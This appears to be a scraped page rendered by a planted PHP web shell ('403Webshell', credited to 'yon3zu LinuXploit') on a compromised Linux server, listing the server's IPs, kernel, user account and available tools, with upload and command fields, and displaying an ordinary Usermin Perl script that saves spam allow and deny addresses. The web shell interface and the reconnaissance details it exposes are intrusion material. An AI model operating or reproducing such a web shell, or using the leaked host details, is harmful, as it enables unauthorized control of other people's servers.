403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/usermin/mailbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/usermin/mailbox/save_allow.cgi
#!/usr/bin/perl
# Update allowed or denied email addresses
use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, %in);

require './mailbox-lib.pl';
&ReadParse();
&error_setup($text{$in{'mode'}.'_err'});
&foreign_require("spam", "spam-lib.pl");
my $conf = &spam::get_config();

# Parse and save addresses
my @addrs;
foreach my $l (split(/\r?\n/, $in{'addrs'})) {
	foreach my $e (&split_addresses($l)) {
		$e->[0] =~ /^\S+\@[a-z0-9\.\-\_\*]+$/i ||
		    $e->[0] =~ /^[a-z0-9\.\-\_\*]+$/i ||
			&error(&text('allow_eaddr', $e->[0]));
		push(@addrs, $e->[0]);
		}
	}
&spam::save_directives($conf, $in{'mode'} eq 'allow' ? 'whitelist_from'
						     : 'blacklist_from',
		       \@addrs, 1);
&flush_file_lines();
&redirect("");

Youez - 2016 - github.com/yon3zu
LinuXploit